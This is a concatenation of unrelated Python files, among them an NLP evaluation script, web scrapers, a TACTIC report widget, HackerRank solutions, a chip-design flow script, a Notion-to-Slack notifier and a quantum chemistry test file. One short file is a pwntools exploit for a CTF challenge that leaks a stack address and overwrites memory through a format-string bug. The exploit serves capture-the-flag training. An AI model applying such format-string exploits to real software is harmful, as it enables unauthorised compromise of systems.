        out_file_name = 'eval_results'
        if args.target_slot=='all':
            out_file_name += '_all'
        output_eval_file = os.path.join(args.output_dir, "%s.txt" % out_file_name)

        if n_gpu == 1:
            with open(output_eval_file, "w") as writer:
                logger.info("***** Eval results *****")
                for key in sorted(result.keys()):
                    logger.info("  %s = %s", key, str(result[key]))
                    writer.write("%s = %s\n" % (key, str(result[key])))

        out_file_name = 'eval_all_accuracies'
        with open(os.path.join(args.output_dir, "%s.txt" % out_file_name), 'w') as f:
            f.write('joint acc (7 domain) : slot acc (7 domain) : joint acc (5 domain): slot acc (5 domain): joint restaurant : slot acc restaurant \n')
            f.write('%.5f : %.5f : %.5f : %.5f : %.5f : %.5f \n' % (
                (accuracies['joint7']/accuracies['num_turn']).item(),
                (accuracies['slot7']/accuracies['num_slot7']).item(),
                (accuracies['joint5']/accuracies['num_turn']).item(),
                (accuracies['slot5'] / accuracies['num_slot5']).item(),
                (accuracies['joint_rest']/accuracies['num_turn']).item(),
                (accuracies['slot_rest'] / accuracies['num_slot_rest']).item()
            ))

def eval_all_accs(pred_slot, labels, accuracies):

    def _eval_acc(_pred_slot, _labels):
        slot_dim = _labels.size(-1)
        accuracy = (_pred_slot == _labels).view(-1, slot_dim)
        num_turn = torch.sum(_labels[:, :, 0].view(-1) > -1, 0).float()
        num_data = torch.sum(_labels > -1).float()
        # joint accuracy
        joint_acc = sum(torch.sum(accuracy, 1) / slot_dim).float()
        # slot accuracy
        slot_acc = torch.sum(accuracy).float()
        return joint_acc, slot_acc, num_turn, num_data

    # 7 domains
    joint_acc, slot_acc, num_turn, num_data = _eval_acc(pred_slot, labels)
    accuracies['joint7'] += joint_acc
    accuracies['slot7'] += slot_acc
    accuracies['num_turn'] += num_turn
    accuracies['num_slot7'] += num_data

    # restaurant domain
    joint_acc, slot_acc, num_turn, num_data = _eval_acc(pred_slot[:,:,18:25], labels[:,:,18:25])
    accuracies['joint_rest'] += joint_acc
    accuracies['slot_rest'] += slot_acc
    accuracies['num_slot_rest'] += num_data

    pred_slot5 = torch.cat((pred_slot[:,:,0:3], pred_slot[:,:,8:]), 2)
    label_slot5 = torch.cat((labels[:,:,0:3], labels[:,:,8:]), 2)

    # 5 domains (excluding bus and hotel domain)
    joint_acc, slot_acc, num_turn, num_data = _eval_acc(pred_slot5, label_slot5)
    accuracies['joint5'] += joint_acc
    accuracies['slot5'] += slot_acc
    accuracies['num_slot5'] += num_data

    return accuracies

def save_configure(args, num_labels, ontology):
    with open(os.path.join(args.output_dir, "config.json"),'w') as outfile:
        data = { "hidden_dim": args.hidden_dim,
                "num_rnn_layers": args.num_rnn_layers,
                "zero_init_rnn": args.zero_init_rnn,
                "max_seq_length": args.max_seq_length,
                "max_label_length": args.max_label_length,
                "num_labels": num_labels,
                "attn_head": args.attn_head,
                 "distance_metric": args.distance_metric,
                 "fix_utterance_encoder": args.fix_utterance_encoder,
                 "task_name": args.task_name,
                 "bert_dir": args.bert_dir,
                 "bert_model": args.bert_model,
                 "do_lower_case": args.do_lower_case,
                 "ontology": ontology}
        json.dump(data, outfile, indent=4)

if __name__ == "__main__":
    main()


import os
import wget
import re

def get_url(fname, patt, charset=None):
    patt_list = []
    cpatt = re.compile(patt)

    with open(fname, encoding=charset) as fobj:
        for line in fobj:
            m = cpatt.search(line)
            if m:
                patt_list.append(m.group())

    return patt_list

if __name__ == '__main__':
    # 创建下载目录，下载网易首页
    dir163 = '/tmp/163'
    fname163 = '/tmp/163/163.html'
    url163 = 'http://www.163.com'
    if not os.path.exists(dir163):
        os.mkdir(dir163)
    if not os.path.exists(fname163):
        wget.download(url163, fname163)

    # 在网易首页文件中找到所有图片的url
    img_patt = '(http|https)://[\w./-]+\.(jpg|jpeg|gif|png)'  # 图片网址的正则表达式
    img_list = get_url(fname163, img_patt, 'gbk')

    # 下载图片
    for img_url in img_list:
        try:
            wget.download(img_url, dir163)
        except:
            pass


__all__ = ['STypeReportWdg']

from pyasm.search import Search, SearchType
from pyasm.biz import Pipeline, Project
from pyasm.web import DivWdg

from tactic.ui.common import BaseRefreshWdg

class STypeReportWdg(BaseRefreshWdg):

    def get_display(self):

        top = self.top
        #top.add_color("background", "background" )
        top.add_gradient("background", "background", 0, -10 )

        search_type = self.kwargs.get("search_type")
        assert(search_type)

        search_type_obj = SearchType.get(search_type)

        title = self.kwargs.get("title")
        if not title:
            title = search_type_obj.get_title()

        if title:
            date = "@FORMAT(@STRING($TODAY),'Dec 31, 1999')"
            date = Search.eval(date, single=True)

            title_wdg = DivWdg()
            top.add(title_wdg)
            title_wdg.add(title)
            title_wdg.add(" [%s]" % date)
            title_wdg.add_style("font-size: 14")
            title_wdg.add_color("background", "background3")
            title_wdg.add_color("color", "color3")
            title_wdg.add_style("padding: 10px")
            title_wdg.add_style("font-weight: bold")
            title_wdg.add_style("text-align: center")

        search = Search("sthpw/task")
        full_search_type = Project.get_full_search_type(search_type)
        search.add_filter("search_type", full_search_type)
        tasks = search.get_sobjects()

        # organize by search_key
        tasks_dict = {}
        for task in tasks:
            parent_search_type = task.get_value("search_type")
            parent_search_id = task.get_value("search_id")
            key = "%s|%s" % (parent_search_type, parent_search_id)

            task_list = tasks_dict.get(key)
            if task_list == None:
                task_list = []
                tasks_dict[key] = task_list

            task_list.append(task)

        # go through each sobject and find out where it is "at"
        search = Search(search_type)
        sobjects = search.get_sobjects()
        sobject_statuses = {}
        for sobject in sobjects:
            # get all the tasks for this sobject

            sobject_search_type = sobject.get_search_type()
            sobject_search_id = sobject.get_id()
            key = "%s|%s" % (sobject_search_type, sobject_search_id)

            tasks = tasks_dict.get(key)
            if not tasks:
                tasks = []

            # figure out where in the pipeline this sobject is based
            # on the statuses
            process_statuses = {}
            for task in tasks:
                actual_end_date = task.get_value("actual_end_date")
                if actual_end_date:
                    is_complete = True
                else:
                    is_complete = False

                process = task.get_value("process")
                process_statuses[process] = is_complete

            pipeline_code = sobject.get_value("pipeline_code")
            pipeline = Pipeline.get_by_code(pipeline_code)
            if not pipeline:
                process_names = []
            else:
                process_names = pipeline.get_process_names()
            sobject_status = None
            none_complete = True
            for process_name in process_names:
                is_complete = process_statuses.get(process_name)
                if is_complete == None:
                    continue
                if is_complete == False:
                    sobject_status = process_name
                    break

                none_complete = False

            if sobject_status == None:
                if none_complete:
                    if process_names:
                        sobject_status = process_names[0]
                    else:
                        sobject_status = "No process"
                else:
                    sobject_status = "Complete"

            sobject_statuses[key] = sobject_status

        # count the number of sobjects in each process
        count_dict = {}
        for key, process in sobject_statuses.items():

            count = count_dict.get(process)
            if count == None:
                count = 1
            else:
                count += 1

            count_dict[process] = count

        # find the pipelines
        search = Search("sthpw/pipeline")
        search.add_filter("search_type", search_type)
        pipelines = search.get_sobjects()

        chart_div = DivWdg()
        top.add(chart_div)
        chart_div.add_border()
        chart_div.add_style("width: 900")
        #chart_div.set_box_shadow("0px 0px 3px 3px")
        chart_div.center()
        chart_div.add_style("margin-top: 30px")
        chart_div.add_style("margin-bottom: 30px")
        #chart_div.add_gradient("background", "background", 0, -10 )
        chart_div.add_color("background", "background")

        # go through each process and find out how many sobjects are in each
        for pipeline in pipelines:
            process_names = pipeline.get_process_names()
            process_names.append("Complete")

            data_values = []
            for process in process_names:

                count = count_dict.get(process)
                data_values.append(count)

            from tactic.ui.chart.chart2_wdg import ChartWdg as ChartWdg
            from tactic.ui.chart.chart2_wdg import ChartData as ChartData

            width = 800
            height = 500
            chart_labels = process_names
            x_data=[i+0.5 for i,x in enumerate(chart_labels)]

            chart = ChartWdg(
                width=width,
                height=height,
                chart_type='bar',
                labels=chart_labels,
                label_values=x_data
            )
            chart_div.add(chart)

            chart_data = ChartData(
                #chart_type=chart_type,
                data=data_values,
                color="#00F",
                x_data=x_data
            )
            chart.add(chart_data)

        top.add("<br clear='all'/>")

        return top


# https://www.hackerrank.com/challenges/find-substring/problem
import re

n = int(input())
sentences = [input() for _ in range(n)]
q = int(input())

for _ in range(q):
    count = 0
    line = input()
    pattern = r"(?=\w({})\w)".format(line)
    for s in sentences:
        count += len(re.findall(pattern, s))

    print(count)


#!/usr/bin/python3

from pwn import *

context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'amd64'

if args['R']:
    r = remote('edu-ctf.zoolab.org', 30205)
else:
    r = process('./fullchain-buff')

elf = ELF('./fullchain-buff')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
# r.sendlineafter('global or local > ', b'local')
# r.sendlineafter('read or write > ', b'write%23$p')
# libc_base = int(r.recv(19)[5:], 16) - libc.sym['__libc_start_main'] - 243
# print(hex(libc_base))

# r.sendlineafter('global or local > ', b'local')
# r.sendlineafter('read or write > ', b'write%23$p')

# print(hex(exit))

r.sendlineafter('global or local > ', b'local')
r.sendlineafter('read or write > ', b'write%8$p')
stack_base = int(r.recv(19)[5:], 16)
print(f'stack_base: {hex(stack_base)}')

r.sendlineafter('global or local > ', b'local')
r.sendlineafter('read or write > ', b'read')
r.sendlineafter('length > ', b'23')
r.sendline(b'A'*8 + p64(stack_base - 0x58))

gdb.attach(r)
r.sendlineafter('global or local > ', b'local')
r.sendafter('read or write > ', b'write%16$n')

r.interactive()

CTF/EDU-CTF Final × AIS3 EOF Quals/fullchain-buff/share/exploit.py


#!/bin/python3

import os
import sys

#
# Complete the getMoneySpent function below.
#
def getMoneySpent(keyboards, drives, b):
    #
    # Write your code here.
    #

    total = -1

    for i in keyboards:
        for j in drives:
            expected_total = i + j
            if expected_total > total and expected_total <= b:
                total = expected_total

    return total

if __name__ == '__main__':
    fptr = open(os.environ['OUTPUT_PATH'], 'w')

    bnm = input().split()

    b = int(bnm[0])

    n = int(bnm[1])

    m = int(bnm[2])

    keyboards = list(map(int, input().rstrip().split()))

    drives = list(map(int, input().rstrip().split()))

    #
    # The maximum amount of money she can spend on a keyboard and USB drive, or -1 if she can't purchase both items
    #

    moneySpent = getMoneySpent(keyboards, drives, b)

    fptr.write(str(moneySpent) + '\n')

    fptr.close()

Algorithms/02 - Implementation/Electronics Shop.py


import datetime
import json
import re
import requests
import logging

from yandex.Translater import Translater

import lib.eng_to_ipa as ipa
from lxml import html
from .word_entity import WordEntity

class WordParser:

    def __init__(self, file_path="./tmp/", log_file_name="log/word_parser.log", yandex_key=""):
        self.__headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}

        self.word = ""
        self.file_path = file_path
        self.__log_file_name = log_file_name
        self.__yandex_key = yandex_key

    def __word_hunt(self, entity):
        url = "https://wooordhunt.ru/word/" + entity.word

        r = requests.get(url)
        doc = html.fromstring(r.text)

        if entity.ipa_text == "":
            transcription = doc.xpath('//span[@class="transcription"]')

            if len(transcription) > 0:
                transcription_text = transcription[0].text_content()
                transcription_text = transcription_text.replace('|', '')
                entity.ipa_text = transcription_text

        if entity.ru_text == "":
            translate = doc.xpath('//span[@class="t_inline_en"]')

            if len(translate) > 0:
                entity.ru_text = self.__clear_string(translate[0].text_content())

        if entity.file_name == "" or entity.file_name is None:
            audio = doc.xpath('//audio[@id="audio_us"]//source')

            if len(audio) > 0:
                entity.file_url = "https://wooordhunt.ru" + audio[0].attrib['src']

    def __reverso_translate(self, entity):
        url = "https://context.reverso.net/translation/english-russian/" + entity.word
        r = requests.get(url, headers=self.__headers)
        doc = html.fromstring(r.text)
        nodes = doc.xpath('//div[@id="translations-content"]//a')

        word_list = []

        for node in nodes:
            word_list.append(self.__clear_string(node.text_content()))

        if len(word_list) > 0:
            entity.ru_text = ", ".join(word_list)

    def parse(self, entity):

        self.word = entity.word

        self.__word_hunt(entity)

        if entity.ipa_text == "":
            entity.ipa_text = ipa.convert(entity.en_text)

        if entity.ru_text == "":
            self.__reverso_translate(entity)

        if entity.ru_text == "":
            self.__reverso_translate(entity)

        if entity.ru_text == "":
            entity.ru_text = self.__yandex_translate(entity)

        if entity.file_name is None or entity.file_name == "":
            if entity.file_url == "":
                self.__dict_file_download(entity)

            if entity.file_url == "":
                self.__tureng_file_download(entity)

            if entity.file_url:
                self.__save_file(entity)

        return entity

    def __save_file(self, entity):
        r = requests.get(entity.file_url)
        header = r.headers
        content_length = header.get('content-length', 0)

        if content_length:
            entity.file_size = content_length
            name = entity.word.replace(" ", "_")
            name = name.replace("-", "_")
            entity.file_name = name
            open(self.file_path + name, 'wb').write(r.content)

    def __yandex_translate(self, entity):
        tr = Translater()
        tr.set_key(self.__yandex_key)
        tr.set_from_lang("en")
        tr.set_to_lang("ru")
        tr.set_text(entity.word)
        text = tr.translate()

        return text

    def __clear_string(self, str):
        text_tmp = re.sub('[^A-Za-z0-9-А-Яа-я  !,?.ё\'"]+', '', str)
        text_tmp = re.sub(' +', ' ', text_tmp)
        text_tmp = text_tmp.strip()

        return text_tmp

    def __error_log(self, text):
        pass
        now = datetime.datetime.now()
        logging.basicConfig(filename=self.__log_file_name, level=logging.INFO)
        msg = str(now)[:19] +" word:" + self.word + " Element not find query:" + text
        logging.info(msg)

    def __dict_file_download(self, entity):
        url = "https://www.dictionary.com/browse/" + entity.word

        r = requests.get(url, headers=self.__headers)
        doc = html.fromstring(r.text)

        nodeAudio = doc.xpath('//audio//source[2]')
        check_text = doc.xpath('//h1//text()')

        if len(check_text) > 0 and len(nodeAudio) > 0:
            check_text = check_text[0].replace(" ", "-")
            if check_text == entity.word:
                entity.file_url = nodeAudio[0].attrib['src']

    def __tureng_file_download(self, entity):
        url = "https://tureng.com/en/turkish-english/" + entity.word
        r = requests.get(url, headers=self.__headers)
        doc = html.fromstring(r.text)

        node = doc.xpath("//audio[@id='turengVoiceENTRENus']//source")
        if(len(node) > 0):
            file_path = "https:" + node[0].attrib['src']
            entity.file_url = file_path


#!/usr/bin/python3

import json
import os
import re
import shutil
import subprocess as sp
import sys
import time

from parameter import args, check_search_done, designName
#from simulation import generate_runs

genDir = os.path.join(os.path.dirname(os.path.relpath(__file__)), "../")
srcDir = genDir + "src/"
flowDir = genDir + "flow/"
designDir = genDir + "designs/src/async_up_down/"
simDir = genDir + "simulations/"
commonDir = genDir + "../../common/"
platformDir = genDir + "../../common/platforms/" + args.platform + "/"
objDir = flowDir + "objects/" + args.platform + "/async_up_down/"

# ------------------------------------------------------------------------------
# Clean the workspace
# ------------------------------------------------------------------------------
print("#----------------------------------------------------------------------")
print("# Cleaning the workspace...")
print("#----------------------------------------------------------------------")
if args.clean:
    p = sp.Popen(["make", "clean_all"], cwd=genDir)
    p.wait()

p = sp.Popen(["git", "checkout", platformDir + "cdl/sky130_fd_sc_hd.spice"])
p.wait()

print("Loading platform_config file...")
print()
try:
    with open(genDir + "../../common/platform_config.json") as file:
        jsonConfig = json.load(file)
except ValueError as e:
    print("Error occurred opening or loading json file.")
    print >> sys.stderr, "Exception: %s" % str(e)
    sys.exit(1)

print("PDK_ROOT value: {}".format(os.getenv("PDK_ROOT")))

pdk = None
if os.getenv("PDK_ROOT") is not None:
    pdk = os.path.join(os.environ["PDK_ROOT"], "sky130A")
else:
    open_pdks_key = "open_pdks"
    pdk = jsonConfig[open_pdks_key]

if not os.path.isdir(os.path.join(pdk, "libs.ref")):
    print("Cannot find libs.ref folder from open_pdks in " + pdk)
    sys.exit(1)
elif not os.path.isdir(os.path.join(pdk, "libs.tech")):
    print("Cannot find libs.tech folder from open_pdks in " + pdk)
    sys.exit(1)
else:
    sky130A_path = commonDir + "drc-lvs-check/sky130A/"
    if not os.path.isdir(sky130A_path):
        os.mkdir(sky130A_path)
    try:
        sp.Popen(
            [
                "sed -i 's/set PDKPATH \".*/set PDKPATH $env(PDK_ROOT)\/sky130A/' $PDK_ROOT/sky130A/libs.tech/magic/sky130A.magicrc"
            ],
            shell=True,
        ).wait()
    except:
        pass
    shutil.copy2(os.path.join(pdk, "libs.tech/magic/sky130A.magicrc"), sky130A_path)
    shutil.copy2(os.path.join(pdk, "libs.tech/netgen/sky130A_setup.tcl"), sky130A_path)

print("#----------------------------------------------------------------------")
print("# Verilog Generation")
print("#----------------------------------------------------------------------")

if args.platform == "sky130hd":
    aux1 = "COMPARATOR"
    aux2 = "RING_OSCILLATOR"
elif args.platform == "sky130hs":
    aux1 = "COMPARATOR_hs"
    aux2 = "RING_OSCILLATOR_hs"

shutil.copyfile(srcDir + "async_up_down.v", flowDir + "design/src/async_up_down/async_up_down" + ".v")
shutil.copyfile(srcDir + "COMPARATOR.v", flowDir + "design/src/async_up_down/COMPARATOR" + ".v")
shutil.copyfile(srcDir + "RING_OSCILLATOR.v", flowDir + "design/src/async_up_down/RING_OSCILLATOR" + ".v")

print("#----------------------------------------------------------------------")
print("# Verilog Generated")
print("#----------------------------------------------------------------------")
print()
if args.mode == "verilog":
    print("Exiting tool....")
    exit()

print("#----------------------------------------------------------------------")
print("# Run Synthesis and APR")
print("#----------------------------------------------------------------------")

p = sp.Popen(["make", "finish"], cwd=flowDir)
p.wait()
if p.returncode:
    print("[Error] Place and Route failed. Refer to the log file")
    exit(1)

print("#----------------------------------------------------------------------")
print("# Place and Route finished")
print("#----------------------------------------------------------------------")

p = sp.Popen(["make", "magic_drc"], cwd=flowDir)
p.wait()
if p.returncode:
    print("[Error] DRC failed. Refer to the report")
    exit(1)

print("#----------------------------------------------------------------------")
print("# DRC finished")
print("#----------------------------------------------------------------------")

if os.path.isdir(args.outputDir):
    # shutil.rmtree(genDir + args.outputDir)
    pass
if not args.outputDir.startswith("/"):
    os.mkdir(genDir + args.outputDir)
    outputDir = genDir + args.outputDir
else:
    os.mkdir(args.outputDir)
    outputDir = args.outputDir

shutil.copyfile(
    flowDir + "results/" + args.platform + "/async_up_down/6_final.gds",
    outputDir + "/" + designName + ".gds",
)
shutil.copyfile(
    flowDir + "results/" + args.platform + "/async_up_down/6_final.def",
    outputDir + "/" + designName + ".def",
)
shutil.copyfile(
    flowDir + "results/" + args.platform + "/async_up_down/6_final.v",
    outputDir + "/" + designName + ".v",
)
shutil.copyfile(
    flowDir + "results/" + args.platform + "/async_up_down/6_1_fill.sdc",
    outputDir + "/" + designName + ".sdc",
)

shutil.copyfile(
    flowDir + "reports/" + args.platform + "/async_up_down/6_final_drc.rpt",
    outputDir + "/6_final_drc.rpt",
)

print("Exiting tool....")
exit()


import os
from dotenv import load_dotenv
from notion_client import Client
from time import sleep
from SlackWrapper import SlackWrapper
import json
from RoadMap import RoadMap
from Status import Status

TASK_DB = "88de9a3cf5554dd9a20476bc465cc68f"
PROJECT_DB = "adddfaea7fa7475eb04e4fc530af6932"
DRI_USER_GROUP = "S058TKUAX60"
PROJECT_DRI_USER_GROUP = "S05A84CKV09"
TASK_DRI_USER_GROUP = "S059NSGGY1L"
NOTIF_CHANNEL = "#log_notion_notifs"

load_dotenv()

notion = Client(auth=os.getenv('NOTION_AUTH_KEY'))
slack_app = SlackWrapper(os.getenv("SLACK_KEY"))

task_db_identifier = TASK_DB
project_db_identifier = PROJECT_DB

overrides = json.load(open("override.json"))

roadmap = RoadMap(project_db_identifier, task_db_identifier, notion)

project_dris = []
task_dris = []

for project in roadmap.projects:
    if project.status == Status.IN_PROGRESS:

        project_dri_mentions = []
        for user in project.dri_emails:
            email = user.email

            if email in overrides.keys():
                email = overrides[email]

            try:
                uid = slack_app.members[email]
                if uid not in project_dris:
                    project_dris.append(uid)
                project_dri_mentions.append(f"<@{uid}>")
            except KeyError:
                continue

        block = [
            {
                "type": "section",
                "text": {
                    "type": "mrkdwn",
                    "text": f"*<{project.project_url}|{project.project_name}>*",
                }
            },
        ]

        if (len(project_dri_mentions) >= 1):
            block.append(
                {
                    "type": "section",
                    "text": {
                        "type": "mrkdwn",
                        "text": f':office_worker:: {""" """.join(project_dri_mentions)}'
                    }
                },
            )

        project_info = "\n• ".join(project.info())
        project_warning = "\n• ".join(project.warnings())
        project_errors = "\n• ".join(project.errors())

        if len(project_info) >= 1:
            block.append({
                "type": "section",
                "text": {
                    "type": "mrkdwn",
                    "text": f":information_source::\n• {project_info}"
                }
            }
            )

        if len(project_warning) >= 1:
            block.append({
                "type": "section",
                "text": {
                    "type": "mrkdwn",
                    "text": f":warning::\n• {project_warning}"
                }
            })

        if len(project_errors) >= 1:
            block.append({
                "type": "section",
                "text": {
                    "type": "mrkdwn",
                    "text": f":octagonal_sign::\n• {project_errors}"
                }
            })

        block += [
            {
                "type": "divider"
            }]

        if (project.has_issues() or project.has_sub_issues()):
            response = slack_app.client.chat_postMessage(
                channel=NOTIF_CHANNEL,
                link_names=True,
                blocks=block
            )
            sleep(1)  # Used to circumvent Slack rate limits

            project_thread = response.get("ts")

        for task in project.tasks:
            if task and task.status != Status.DONE:
                task_dri_mentions = []
                for user in task.dri_emails:
                    email = user.email

                    if email in overrides.keys():
                        email = overrides[email]

                    try:
                        uid = slack_app.members[email]
                        if uid not in task_dris:
                            task_dris.append(uid)
                        task_dri_mentions.append(f"<@{uid}>")
                    except KeyError:
                        continue

                block = [
                    {
                        "type": "section",
                        "text": {
                            "type": "mrkdwn",
                            "text": f"*<{task.notion_url}|{task.task_name}>*",
                        }
                    },
                ]

                if (len(task_dri_mentions) >= 1):
                    block.append(
                        {
                            "type": "section",
                            "text": {
                                "type": "mrkdwn",
                                "text": f':office_worker:: {""" """.join(task_dri_mentions)}'
                            }
                        },
                    )

                task_info = "\n• ".join(task.info())
                task_warning = "\n• ".join(task.warnings())
                task_errors = "\n• ".join(task.errors())

                if len(task_info) >= 1:
                    block.append({
                        "type": "section",
                        "text": {
                            "type": "mrkdwn",
                            "text": f":information_source:\n• {task_info}"
                        }
                    }
                    )

                if len(task_warning) >= 1:
                    block.append({
                        "type": "section",
                        "text": {
                            "type": "mrkdwn",
                            "text": f":warning:\n• {task_warning}"
                        }
                    })

                if len(task_errors) >= 1:
                    block.append({
                        "type": "section",
                        "text": {
                            "type": "mrkdwn",
                            "text": f":octagonal_sign:\n• {task_errors}"
                        }
                    })

                block += [
                    {
                        "type": "divider"
                    }]

                if task.has_issues():
                    slack_app.client.chat_postMessage(
                        channel=NOTIF_CHANNEL,
                        link_names=True,
                        blocks=block,
                        thread_ts=project_thread
                    )
                    sleep(1)  # Used to circumvent Slack rate limits

slack_app.client.usergroups_users_update(usergroup=PROJECT_DRI_USER_GROUP, users=",".join(project_dris))

slack_app.client.usergroups_users_update(usergroup=TASK_DRI_USER_GROUP, users=",".join(task_dris))


def clearConsole(os):
    command = 'clear'
    os.system(command)

def getNameAndBid(bids):
    name = input("What is your name?: ")
    bids[0].append(name)
    bid = int(input("What's your bid?: $"))
    while bid <= max(bids[1]):
        bid = int(input("You have not beat the highest bid.\nYou must bid higher."))
    bids[1].append(bid)
    return bids

def callWinner(bids):
    highest = max(bids[1])
    winner = bids[0][bids[1].index(highest)]
    winningArr = [winner, highest]
    return winningArr


"""
Tests the DQM compute dispatch module
"""
import pprint
import re
import sys
import tempfile
from pathlib import Path

import pytest
from qcelemental.models import AtomicInput

import qcengine as qcng
from qcengine.testing import has_program, using

_canonical_methods = [
    # needs attn ("adcc", {"method": "adc2", "basis": "6-31G"}, {"n_triplets": 3}),
    ("cfour", {"method": "hf", "basis": "6-31G"}, {}),
    ("dftd3", {"method": "b3lyp-d3"}, {}),
    ("gamess", {"method": "hf", "basis": "n31"}, {"basis__NGAUSS": 6}),
    ("gcp", {"method": "hf3c"}, {}),
    ("mctc-gcp", {"method": "dft/sv"}, {}),
    # needs attn ("molpro", {"method": "hf", "basis": "6-31G"}, {}),
    # needs attn ("mopac", {"method": "PM6"}, {}),
    ("mp2d", {"method": "MP2-DMP2"}, {}),
    # needs attn ("mrchem", {"method": "blyp"}, {"world_prec": 1.0e-3}),
    ("nwchem", {"method": "hf", "basis": "6-31G"}, {}),
    # needs attn ("openmm", {"method": "openff-1.0.0", "basis": "smirnoff"}, {}),
    ("psi4", {"method": "hf", "basis": "6-31G"}, {"gradient_write": True}),
    # needs attn ("qchem", {"method": "hf", "basis": "6-31G"}, {}),
    # needs attn ("qcore", {"method": "pbe", "basis": "6-31G"}, {}),
    # needs attn ("rdkit", {"method": "UFF"}, {}),
    # needs attn ("terachem", {"method": "bad"}, {}),
    # needs attn ("terachem_pbs", {"method": "b3lyp", "basis": "6-31G"}, {}),
    # needs attn ("torchani", {"method": "ANI1x"}, {}),
    # needs attn ("turbomole", {"method": "pbe", "basis": "6-31G"}, {}),
    # needs attn ("xtb", {"method": "GFN2-xTB"}, {}),
]

def _get_molecule(program, method):
    if program in ["openmm", "terachem_pbs"]:
        return qcng.get_molecule("water")
    elif program == "gamess" and method == "ccsd(t)":
        return qcng.get_molecule("water")
    else:
        return qcng.get_molecule("hydrogen")

@pytest.mark.parametrize(
    "memory_trickery",
    [
        pytest.param({}, id="none"),
        pytest.param(
            # native keywords that CONTRADICT config.memory below
            {
                "cfour": {"memory_size": "5000"},
                "gamess": {"system__mwords": "5000"},
                "nwchem": {"memory": "5 gb"},
                "psi4": {},  # no contradictory memory keyword in psi
            },
            id="dsl",
        ),
    ],
)
@pytest.mark.parametrize("program, model, keywords", _canonical_methods)
def test_local_options_memory_gib(program, model, keywords, memory_trickery, request):
    """Ensure memory handling implemented in harness (if applicable).

    For available harnesses, run minimal calc at specific total node memory, both through runtime
      config alone and with clashing (and non-QCEngine-like) keyword spec. Check memory quantity
      shows up in ``TaskConfig``.
    For ``managed-memory``-active harnesses, check that memory registers in output.

    New Harness Instructions
    ------------------------
    * Make sure minimal calc is in _canonical_methods above.
    * If ``managed_memory=True`` in harness, add regex to ``stdout_ref`` below to check that memory
      is specifiable.
    * If this test doesn't work, implement or adjust ``config.memory`` in your harness.

    """
    if not has_program(program):
        pytest.skip(f"Program '{program}' not found.")

    harness = qcng.get_program(program)
    molecule = _get_molecule(program, model["method"])

    addl_keywords = memory_trickery.get(program, memory_trickery)
    use_keywords = {**keywords, **addl_keywords}

    #  <<  Config

    config = qcng.config.get_config(
        hostname="something",
        task_config={
            "ncores": 1,
            "nnodes": 1,
            "memory": 1.555,
        },
    )

    #  <<  Run

    inp = AtomicInput(molecule=molecule, driver="energy", model=model, keywords=use_keywords)
    ret = qcng.compute(inp, program, raise_error=True, task_config=config.dict())
    pprint.pprint(ret.dict(), width=200)
    assert ret.success is True

    #  <<  Reference

    stdout_ref = {  # 1.555 GiB = 208708567 quad-words
        "cfour": "Allocated    1592 MB of main memory",
        "gamess": "208000000 WORDS OF MEMORY AVAILABLE",
        "nwchem": r"total    =  2087085\d\d doubles =   1592.3 Mbytes",  # doubles is quad-words. Mbytes is MiB
        "psi4": "1592 MiB Core",
    }

    #  <<  Test

    assert config.ncores == 1
    assert pytest.approx(config.memory, 0.1) == 1.555

    if harness._defaults["managed_memory"] is True:
        assert re.search(stdout_ref[program], ret.stdout), f"Memory pattern not found: {stdout_ref[program]}"

@pytest.mark.parametrize("program, model, keywords", _canonical_methods)
def test_local_options_scratch(program, model, keywords):
    """Ensure scratch handling implemented in harness (if applicable).

    For available harnesses, run minimal calc at specific scratch directory name (randomly generated
      during test) and skip scratch clean-up. Check scratch settings show up in ``TaskConfig``.
    For ``scratch``-active harnesses, check that an expected file is written to and left behind in
      scratch directory. Check any scratch-related printing in output.

    New Harness Instructions
    ------------------------
    * Make sure minimal calc is in _canonical_methods above.
    * If ``scratch=True`` in harness, add single file (preferrably output) glob to ``scratch_sample``
      below to check that program scratch is directable.
    * If ``scratch=True`` in harness, if scratch directory mentioned in output, add regex to
      ``stdout_ref`` below to check that program scratch is directable. Otherwise, add an
      always-passing regex.
    * If this test doesn't work, implement or adjust ``config.scratch_directory`` and
      ``config.scratch_messy`` in your harness.

    """
    if not has_program(program):
        pytest.skip(f"Program '{program}' not found.")

    harness = qcng.get_program(program)
    molecule = _get_molecule(program, model["method"])

    #  <<  Config

    scratch_directory = tempfile.mkdtemp(suffix="_" + program)

    config = qcng.config.get_config(
        hostname="something",
        task_config={
            "scratch_directory": scratch_directory,
            "scratch_messy": True,
        },
    )

    #  <<  Run

    inp = AtomicInput(molecule=molecule, driver="energy", model=model, keywords=keywords)
    ret = qcng.compute(inp, program, raise_error=True, task_config=config.dict())
    pprint.pprint(ret.dict(), width=200)
    assert ret.success is True

    #  <<  Reference

    stdout_ref = {
        "cfour": "University of Florida",  # freebie
        "dftd3": "Grimme",  # freebie
        "gamess": "IOWA STATE UNIVERSITY",  # freebie
        "gcp": "Grimme",  # freebie
        "mctc-gcp": "Grimme",  # freebie
        "mp2d": "Beran",  # freebie
        "nwchem": "E. Apra",  # freebie
        "psi4": rf"Scratch directory: {scratch_directory}/tmp\w+_psi_scratch/",
    }
    if sys.platform.startswith("win"):
        # too hard to regex Windows paths that need escape chars
        stdout_ref["psi4"] = f"Scratch directory: "

    # a scratch file (preferrably output) expected after job if scratch not cleaned up
    scratch_sample = {
        "cfour": "*/NEWFOCK",
        "dftd3": "*/dftd3_geometry.xyz",  # no outfiles
        "gamess": "*/gamess.dat",
        "gcp": "*/gcp_geometry.xyz",  # no outfiles
        "mctc-gcp": "*/gcp_geometry.xyz",  # no outfiles
        "mp2d": "*/mp2d_geometry",  # no outfiles
        "nwchem": "*/nwchem.db",
        "psi4": "*/psi.*.35",
    }

    #  <<  Test

    assert config.scratch_directory.endswith(program)

    if harness._defaults["scratch"] is True:
        sample_file = list(Path(scratch_directory).glob(scratch_sample[program]))
        assert len(sample_file) == 1, f"Scratch sample not found: {scratch_sample[program]} in {scratch_directory}"

        assert re.search(stdout_ref[program], ret.stdout), f"Scratch pattern not found: {stdout_ref[program]}"

@pytest.mark.parametrize("ncores", [1, 3])
@pytest.mark.parametrize("program, model, keywords", _canonical_methods)
def test_local_options_ncores(program, model, keywords, ncores):
    """Ensure multithreading implemented in harness (if applicable) or multithreaded runs don't
    break harness (if inapplicable).

